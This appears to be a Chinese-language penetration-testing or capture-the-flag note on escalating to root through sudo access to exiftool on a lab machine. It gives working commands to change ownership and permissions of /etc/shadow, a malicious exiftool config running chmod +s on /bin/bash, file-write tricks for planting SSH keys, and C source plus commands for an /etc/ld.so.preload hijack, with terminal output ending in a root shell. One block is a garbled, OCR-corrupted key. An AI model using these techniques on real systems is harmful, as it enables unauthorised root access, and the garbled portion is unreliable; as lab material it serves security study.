### exiftool

#### 1. 修改文件属性

- sudo exiftool -FileUserID=welcome /etc/shadow 修改文件的属主
- sudo exiftool -FileGroupID=welcome /etc/shadow 修改文件的属组
- sudo exiftool -FilePermissions="rw-rw-rw-" /etc/shadow 修改文件权限

## 2.使用exiftool参数

• 使用 -config 引入恶意配置文件

```
welcome@Baby3:~$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
welcome@Baby3:~$ cat poc.pm
%Image::ExifTool::UserDefined = (
    'Image::ExifTool::Composite' => {
        Exploit => {
            Require => 'FileName',
            ValueConv => 'system("chmod +s /bin/bash")',
welcome@Baby3:~$ sudo exiftool -config poc.pm a.txt
ExifTool Version Number
                               : 12.16
File Name
                               : a.txt
Directory
                               : 3 bytes
File Size
File Modification Date/Time
                               : 2025:10:18 12:10:25-04:00
File Access Date/Time
                              : 2025:10:18 12:10:30-04:00
File Inode Change Date/Time
                              : 2025:10:18 12:10:25-04:00
File Permissions
                               : rw-rw-rw-
File Type
                               : TXT
File Type Extension
                               : txt
MIME Type
                               : text/plain
MIME Encoding
                               : us-ascii
Newlines
                               : Unix LF
Line Count
                               : 1
Word Count
Exploit
                               : 0
welcome@Baby3:~$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18 2019 /bin/bash
```

sudo exiftool -config poc.pm a.txt 后面的a.txt是随便一个文件就行 经过测试,直接 echo 'system("chmod +s /bin/bash")' > poc.pm 用这个也是可以的 • 使用-o写文件

可以输出内容到一个不存在的文件里面,这个的利用可以写公钥

#### 使用-filename

这个是用来修改文件的名字的,我们不能将他改名为一个存在的文件。它也能写公钥。这里还有一个思路是先将目标文件修改名字为另一个,再将你的文件改名为目标文件,有点类似c语言的交换两个变量的值,可以类似实现文件覆盖。但是你搞/etc/passwd与/etc/shadow或者/etc/sudoers是不行的,因为你将他改名字了你就用不了sudo了。

```
mlcome@laby3:-6 echo 'sah-ras AAABBXxc1yc2EAAAADAQABAABgC6ffWx5-pefindwAcG/L3MrQUIMeKsc1LusffyRe2Myir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1MrgASyir1
```

# 3.利用/etc/ld.so.preload文件

- /etc/ld.so.preload 是一个重要的 Linux 系统配置文件,用于预加载共享库。 /etc/ld.so.preload 文件在大多数正常的 Linux 系统中一般不存在。因为它不存在,这就给了我们创建它的机会,使用-o或者 -filename都可以
- 它的内容通常是共享库 (.so文件) 的完整路径列表,每行一个库路径。

```
root@Babv3:/tmp# vim pe.c
root@Baby3:/tmp# cat pe.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
void _init()
 unlink("/etc/ld.so.preload");
 setuid(0);
 setgid(0);
 system("/bin/bash");
root@Baby3:/tmp# exit
welcome@Baby3:~$ cd /tmp
welcome@Baby3:/tmp$ vim pe.c
welcome@Baby3:/tmp$ cat pe.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
include <stdlib.h>
void _init()
 unlink("/etc/ld.so.preload");
 setuid(0);
 setgid(0);
 system("/bin/bash");
welcome@Baby3:/tmp$ gcc -fPIC -shared -o pe.so pe.c -nostartfiles
velcome@Baby3:/tmp$ echo '/tmp/pe.so' > xxx
welcome@Baby3:/tmp$ sudo exiftool xxx -o /etc/ld.so.preload
   1 image files copied
welcome@Baby3:/tmp$ su
root@Baby3:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1000(welcome)
root@Baby3:/tmp#
```

```
cat pe.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
void _init()
```

```
{
    unlink("/etc/ld.so.preload");
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

gcc -fPIC -shared -o pe.so pe.c -nostartfiles 编译共享库
echo 'pe.so' > xxx 将恶意共享库的路径写入一个文件
sudo exiftool -filename=/etc/ld.so.preload xxx 将文件命名为/etc/ld.so.preload
此时执行动态链接的命令即可拿到rootshell
```